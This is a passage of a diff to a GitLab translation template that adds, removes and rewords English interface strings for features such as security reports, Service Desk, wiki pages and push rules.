msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
